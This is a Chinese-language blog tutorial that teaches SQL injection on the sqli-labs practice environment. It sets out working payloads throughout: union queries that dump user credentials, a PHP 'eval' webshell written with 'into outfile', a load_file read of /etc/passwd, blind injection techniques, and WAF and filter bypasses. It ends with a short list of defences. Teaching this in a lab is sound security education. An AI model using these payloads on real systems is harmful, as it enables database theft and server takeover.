从一开始的网络攻防(二):SQL注入

环境准备:docker安装sqli_labs

search找到sqli-labs后,pull下来,运行即可

docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 8088:80 --rm acgpiano/sqli-labs
  • -d Detached 模式(后台运行容器)
  • -t 分配伪终端(TTY),即使后台运行也保持 STDIN 开放
  • --rm 容器停止时自动删除容器文件系统(避免残留)

一、SQL注入简介

注入流程

  1. 检测是否存在漏洞
    1. 手工测试
    2. 工具扫描
  2. 探测后台数据库类型、属性
    1. 采用不同的注入策略进行渗透
  3. SQL注入
    1. 数值型、字符型、搜索型、错误型、其他类型

注入原理

  • 相信用户输入数据——程序命令和用户数据(即用户输入)之间没有做到泾渭分明
  • sql语句拼接——相关参数未经处理直接带入数据库查询操作

获得数据库的管理权限,然后提权至操作系统管理用户权限,最终控制服务器操作系统

经典OR漏洞

万能密码,输入'or 1=1 --发现输入任何密码都可以登录成功

注入方法

要确定的事
1. 确定web应用程序所使用的技术

注入攻击对程序设计语言或者硬件关系密切

2. 查找注入点

Web应用的用户输入方式比较多

明显的输入
  • HTML表单
隐藏的输入
  • HTTP头部
  • cookics
  • 对用户不可见的后端AJax请求

一般来说,所有HTTP的GET和POST都应当作用户输入

为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Bp等

3. 筛选——查找可以用于注入的用户输入

输入方式进行筛选,找出其中可以注入命令的那些输入方式

注入手段
  • 手工注入——找到注入点,手工构造输入
  • 利用工具注入——流行注入工具sqlmap
可能的注入点
注入点
  • http://www.**.com/***.asp?id=X (ASP注入)
  • http://www.**.com/*.php?id=X (php注入)
  • http://www.**.com/*.jsp?id=X (jsp注入)
  • http://www.**.com/**.aspx?id=x (aspx注入)

注入的时候确认是id参数还是page参数,工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换

  • http://www.***.com/index.asp?id=8&page=99

伪静态

  • http://www.**.com/index/new/id/8
  • http://www.***.com/index/new/php-8.html
检测方法

“单引号”法

        如果有报错信息,一定有注入点

and 1 = 1和 1 = 2 法

        如果获得的页面不同,一定有注入点

通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型

危害

数据库层面

  • 非法读取、篡改、添加、删除数据库中数据
  • 盗取用户的各类敏感信息,获取利益
  • 通过修改数据库修改网页上的内容
  • 私自添加或者删除账号

操作系统层面

  • 网页篡改
  • 网络挂马
  • 服务器远程控制

二、SQL注入实战操作

SQL注入分类

按照注入的网页功能类型
登录注入

cms注入

cms逻辑是index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id文章

按照注入点值的属性

通过回显判断

数值型

sql = "select * from admin where id=1"

字符串型

sql = "select * from 表 where id = "xx""

按照从服务器返回的内容
  • 有回显(基于错误的)
  • 无回显(盲注)
按照注入的程度和顺序
  • 一阶注入
  • 二阶注入

Mysql注入知识

元信息

常用查询

系统相关

  • user(): 查看当前Mysql登录用户名
  • database(): 查看当前Mysql数据库名
  • version(): 查看当前Mysql版本
  • @@version
  • @@basedir: mysql安装环境

字符处理

  • length(): 字符串长度
  • substring(): 截取字符串
  • mid(): 需要截取的字符串
  • ord: 返回ASCII码值
  • concat: 连接字符串

其他操作

  • group_concat(): 查询结果放同一行
  • sleep(4): 睡眠指定描述
  • limit m,n: 从m行开始,到m+n行
注释
#和-- 空格 (%20)

--后面必须要有空格,而#后面就不需要

因为使用-注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有

Sql就是这么规定的,不加空格,一直接和系统自动生成的单引号连接在了一起,会被认为是个关键词,无法注释掉系统自动生成的单引号

GET请求

在url中,如果是get请求(记住是get请求,也就是我们在浏览器中输入的url),解释执行的时候

  • url中#号是用来指导浏览器动作的,对服务器端无用,所以HTTP请求中不包括#,使用#闭合无法注释
    • #变成%23
  • 使用--(有个空格),在传输过程中空格会被忽略同样导致无法注释,所以在get请求传参注入时会使用
    • --+ 来闭合,因为+会被解释成空格
    • --%20,把空格转换为urlencode编码格式
POST请求

可以直接使用#来进行闭合,常见的就是表单注入,如我们在后台登录框中进行注入。

/**/
内联注释

/*!SQL语句*/只有Mysql可以识别,常用来绕过WAF

例如:select * from articles where id = id

使用内联注释注入:select * from articles where id = -1 /*!union*//*!select*/

具体注入实操

GET - 基于报错的输入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠/来探测URL中是否存在注入点

实验:Sqli-Lab Less1~4,GET基于报错的SQL注入

1. 判断字段数 - order by

以less1为例,请输入带有一个数字的参数ID

可以查出一些无关痛痒的内容

使用order by判断字段数,order by表示按照第几个字段排序

?id=1' order by 3 --+页面没有异常

?id=1' order by 4 --+页面出现异常

所以只有三个字段

2. 定位回显位 - union联合注入

id=0时是不会找到数据的

可以构建union select自己来查,union select 1,2,3也可以确定列数,最重要的是看1,2,3这三列的值会在哪里回显,被输出到前端

如果碰到有列类型限制,三列也可以换为字符串、NULL等,主要看回显

UNION SELECT 1, 'test', NULL -- # 用字符串和 NULL 适配不同列类型

这里我们注入?id=0' union select 1,2,3 --+

可以发现2、3字段是会显示出来的,所以可以用这两个字段来窃取数据

3. 窃取数据(脱裤)
3.1. 窃取当前用户、数据库

?id=0' union select 1,user(),database() --+

3.2. 获取所有表名(前置:mysql元信息)

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

3.3. 窃取users数据表的字段名

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

3.4. 窃取users数据表的具体内容

?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

4. 写入一句话木马 - select into outfile
4.1. 前提
  • 需要知道网站的真实路径

  • 要求对网站路径有写权限

  • 数据库secure_file_priv配置为空
    • 为空表示所有目录都可写入
    • 为NULL表示所有目录都不能写入
    • 为具体目录表示只能写入此目录

mysql -u root -p # sqlilabs的mysql没有密码

show variables like 'sec%'; # 查看sec相关变量

4.2. 写入木马

192.168.8.133:8088/Less-1/?id=1' union select 1,"<?php eval($_POST['aa']);?>",3 into outfile '/var/www/html/muma.php' --+

  • <?php eval($_POST['aa']);?>一句话木马完整内容
4.3. 连接webshell

菜刀或者蚁剑接webshell,url为写入文件的地址,连接密码为POST的内容

成功拿到目标权限

5. 读敏感文件 - load_file

192.168.8.133:8088/Less-1/?id=-1' union select 1,2,load_file('/etc/passwd') --+

POST - 基于报错的输入

注入点位置发生了变化,浏览器无法直接查看与修改

1. 确认闭合方式 - 报错回显

以less11和less12为例,先尝试能否看到报错回显,确认闭合方式

在less11会显示

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345' LIMIT 0,1' at line 1

可以推测查询语句是select username,password from users where username='admin\' and password='12345',username为admin\' and password=,后面的12345'的地方就报错了,可以看到闭合是以'闭合

在less12会显示

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '12345") LIMIT 0,1' at line 1

可以看到闭合是以 ")闭合

2. 万能密码 - 构造闭合

less11,构造闭合尝试使用万能密码登录admin' or 1=1 --

less12,构造闭合尝试使用万能密码登录amdin") or 1=1 --

密码都不用输,成功登录

以下更深一步的查询仅考虑less11

3. 判断字段数 - order by

admin' order by 3#出错,说明只有两列字段

4. 定位回显位 - union联合注入

' union select user(),database()#

设为空则查询不到信息输出,输出的就是我们想要的信息

盲注
基于时间的盲注 - 通用性更强

利用if(条件,0,1)函数,当条件为真,返回0,当条件为假,返回1

if(1=0,1,sleep(10)) --+

数据库长度if(length(databse())=8,sleep(10),1);

数据库第一个字符转为ascii码if(ascii(substr(database(),1,1))=115,sleep(10),1);

二分法猜解数据库的每一个数据(此时必须转ascii码

  • if(ascii(substr(database(),1,1))>N,sleep(10),1);
  • if(ascii(substr(database(),1,1))=N,sleep(10),1);
  • if(ascii(substr(database(),1,1))<N,sleep(10),1);

以less9、less10为例

GET - 基于时间的盲注

以less9为例

判断闭合

可能的闭合'")')")

此时用\判断闭合已经无效了,因为没有错误回显

此时使用?id=1' if(1=1,sleep(5),1) --+判断闭合,成功闭合就会延迟5s

判断字段长度

?id=1' and if(length(database())=8,sleep(3),1) --+,查看响应时间为3s,所以数据库名长度为8

?id=1' and if(length(database())=8,sleep(3),1) --+,查看响应时间不为3s

判断字符

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+,查看响应时间为3s,所以数据库名第一个字符的ascii码为115,对应字符为s

相当于?id=1' and if(substr(database(),1,1)='s',sleep(3),1) --+

POST - 基于时间的盲注

以less15为例

过程跟get的过程差不多

与get时间盲注的区别
  • get的注入点在url,post的注入点在请求体
  • get注入最后注释用--+比较好,post注入最后用#比较好
注入位置选择
  • 一般直接在输入框进行注入
  • 如果前端屏蔽了字符,则用bp抓包注入
基于布尔的盲注 - 需要页面有变化

猜解字符串

数据库长度select length(databse());

数据库第一个字符select substr(databse(),1,1);

转为ascii码select ascii(substr(database(),1,1));

二分法判断字符

  • select ascii(substr(database(),1,1))>N;
  • select ascii(substr(database(),1,1))=N;
  • select ascii(substr(database(),1,1))<N;
GET - 基于布尔的盲注
判断闭合

以less8为例

分别输入?id=1?id=1'?id=1\,查看返回页面是否不同

'确认无报错回显但页面显示有不同,确认有注入点

此时使用?id=1' and 1=1 --+判断闭合,成功闭合就会显示正常

判断字段长度

?id=1' and length(database())=8 --+,正常显示

?id=1' and length(database())=9 --+,错误显示

判断字符

?id=1' and ascii(substr(database(),1,1))=115 --+,判断数据库名第一个字符的ascii码是否为115,正确显示

?id=1' and ascii(substr(database(),1,1))=116 --+,判断数据库名第一个字符的ascii码是否为116,错误显示

POST - 基于布尔的盲注

以less16为例

过程跟get的过程差不多

与get布尔盲注的区别
  • get的注入点在url,post的注入点在请求体
  • get注入最后注释用--+比较好,post注入最后用#比较好
注入位置选择
  • 一般直接在输入框进行注入
  • 如果前端屏蔽了字符,则用bp抓包注入
HTTP头注入

SQL注入用户提交的参数往往会被过滤

但是对HTTP头提交的内容可能没有进行过滤

以less18为例

输出正确的账号密码后发现会回显User Agent

1. 判断注入点/判断闭合

利用burpsuite对User Agent进行尝试注入,在最后加入\判断注入点以及闭合

2. payload渗透

updatexml(xml_document,xpath_string,new_value)

  • 第一个参数:XML文档对象名称
  • 第二个参数:XPath字符串
  • 第三个参数:替换查找到的符合条件的数据

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

最后这里的设置是为了闭合后面的单引号

Cookie注入

Cookie判断注册用户是否已经登录

在浏览器控制台直接输入document.cookie即可查询

以less20为例,成功登录后,服务器响应包会发回Set-Cookie

之后再发请求包的时候就带Cookie了

1. 判断注入点/判断闭合

利用burpsuite对Cookie进行尝试注入,在最后加入\判断注入点以及闭合

2. payload渗透

类似HTTP头注入,唯一的区别是不用闭合最后的单引号,而是直接注释

' and updatexml(1,concat(0x7e,@@version,0x7e),1) --+

宽字节注入

以less33为例

概念
  • 单字节字符集:所有的字符都使用一个字节来表示,比如ASCII编码(0-127))
  • 多字节字符集:在多字节字符集中,一部分字符用多个字节来表示,另一部分字符(可能没有)用单个字节来表示

宽字节注入是利用Mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等

php中的宽字节
  • addslashes()函数——返回在预定义字符之前添加反斜杠的字符串,常用于防止sql注入
  • 预定义字符——单引号',双引号",反斜杠\,NULL
<?php
  $ss=addslashes('aiyou"bu"cuoo');
  echo($ss);
?>

输出aiyou\"bu\"cuoo

注入原理

%DF'在php中addslashes函数转义为%DF\',在URL中就会变成%DF%5C%27,如果网站的字符集是GBK,Mysql使用的编码也是GBK,就会认为%DF%5C%27是一个宽字符,数据库使用的是GBK编码,PHP编码为UTF8就可能出现宽字节注入

GBK 编码中,%DF%5C会被解析为一个合法汉字 "運"(Unicode 0xDF5C),导致 反斜杠\被“吞掉”,剩余的'未被转义,成功闭合前序 SQL 语句

注入条件
  • 数据库使用的是GBK编码
  • PHP编码为UTF8,且使用addslashes函数

判断注入点

?id=0' union select 1,2,3 --+发现单引号'被转义为了\',使用了addslashes函数

?id=0%DF' union select 1,2,3 --+,或者有输入框输入%DF',发现存在宽字节注入点,且注入成功

Update注入

以less17为例

注入原理

只对查询的sql语句进行了过滤,忽略了对update类型的sql语句的过滤

注入条件

Update基本语句

UPDATE table_name SET field1=new-value1,field2=new-value2 [WHERE Clause]

payload渗透

在less17中,由于从源码知道password存在过滤点,页面也有提示重设密码

所以对密码进行update注入,在passwaord栏直接输入

admin' or updatexml(1,concat(0x7e,@@version,0x7e),1)#

二阶注入

以less24为例

概念

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入

网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用

可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入

与普通注入区别
  • 普通注入
    • 在http后面构造语句,立即直接生效
    • 一次注入很容易被扫描工具扫描到
  • 二次注入
    1. 先构造语句(有被转义字符的语句)
    2. 构造的恶意语句存入数据库
    3. 第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
    • 二次注入更加难以被发现
注入条件
  • 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
  • 数据库对自己存储的数据非常放心,直接取出恶意数据给用户

插入恶意数据

注册一个admin'-- -的用户,-- -中间的空格表示之后的都是注释

引用恶意数据

修改admin'-- -的密码,在修改密码的SQL语句中,实际上修改了admin的密码

之后就能直接登录admin的账号了

三、SQL注入绕过操作

常用绕过方式

大小写绕过

通过修改关键字内字母大小写来绕过过滤措施

例如:AnD 1=1 Select from *oRdEr by 1

双写绕过

使用双写绕过。因为在过滤过程中只进行了一次替换,就是将关键字替换为对应的空

比如union在程序员处理时被替换为空,那需要我们可以尝试把unioni改写为Ununionion,这样红色部分替换为空,则剩下的依然为union

还可以结合大小写过滤一起使用

编码绕过

可以利用网络中的开源的URL在线编码,绕过SQL注入的过滤机制

burpsuite也可以进行编解码

内联注释绕过 - Mysql独有

在Mysq中内联注释中的内容可以被当作SQL语句执行

例如Mysql中执行/*!select*/*from users

绕过方式实操

绕过去除注释符的sql注入
代码分析

preg_replace(mixed $pattern,mixed $replacement,mixed $subject)

执行一个正则表达式的搜索和替换

  • $pattern-要搜索的模式,可以是字符串或一个字符串数组
  • $replacement-用于替换的字符串或字符串数组
  • $subject-要搜索替换的目标字符串或字符串数组
绕过方式

HTTP头注入有类似示例' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

这里以less23为例

利用or '1'='1闭合单引号

直接单引号注入报错,?id=1' --+错误信息表示单引号没有闭合

闭合单引号?id=1' or '1'='1,不会报错

联合查询最后闭合单引号

?id=0' union select 1,2,'3最后闭合单引号

绕过去除and和or的sql注入
代码分析

绕过方式

以less25为例

?id=1' --+

发现没有剔除掉注释

?id=1'查看报错

?id=1' and 1=1,发现报错在1=1出,闭合是单引号'

大小写变形

Or,OR,oR,OR,And,ANd,aND等,代码中大小写不敏感都被剔除

添加注释

在这两个敏感词汇中添加注释

如:a/**/nd

双写绕过

oorr

这里使用?id=1' aandnd 1=1--+,成功绕过

利用符号替代

and替换为&&

or替换为||

这里使用?id=1 && 1=1,成功绕过

绕过去除空格的sql注入
代码分析

过滤了大部分的方式

绕过方式

以less26为例

编码绕过

URL编码

  • %20空格
  • %09TAB键(水平)
  • %0a新建一行
  • %0c新的一页
  • %0dreturn功能
  • %0bTAB键(垂直)

因为闭合和注释,所以尝试闭合单引号

?id=1' and '1'='1,虽然and被过滤了,但是刚好可以闭合,所以能正确查询

如果使用union,则也要注意闭合单引号

?id=1' union select 1,2,3--+,这里最后需要换成||'1或者'3来闭合

?id=1' union select 1,2,3||'1,发现空格都被过滤了

url为?id=1%27%20union%20select%201,2,3||%271尝试替换成其他的编码,一个个尝试

%09?id=1%27%09union%09select%091,2,3||%271,无效

%0b?id=1%27%0bunion%0bselect%0b1,2,3||%271,成功查询

绕过去除union和select的sql注入
代码分析

绕过方式

以less27为例

代码中发现并没过略所有的union和select,所以可以尝试用大小写绕过

?id=1' UniOn SeLect 1,database(),'3

发现空格被过滤了,用其他编码来代替空格

%09?id=0%27%09UniOn%09SeLect%091,database(),%273,成功绕过

四、SQL注入解决方案

  • 对所有可能来自用户输入的数据进行严格的检查
  • 数据库配置最小权限原则
  • 对进入数据库的特殊字符进行转义处理,或者编码转化
  • 数据长度严格规定
  • 网站的每个数据层的编码统一,建议全部使用utf-8编码
  • 严格限制网站用户的数据库的操作权限
  • 避免网站显示sql错误信息
  • 网站发布前,建议使用专业的sql注入检测工具检测

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Neolock

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值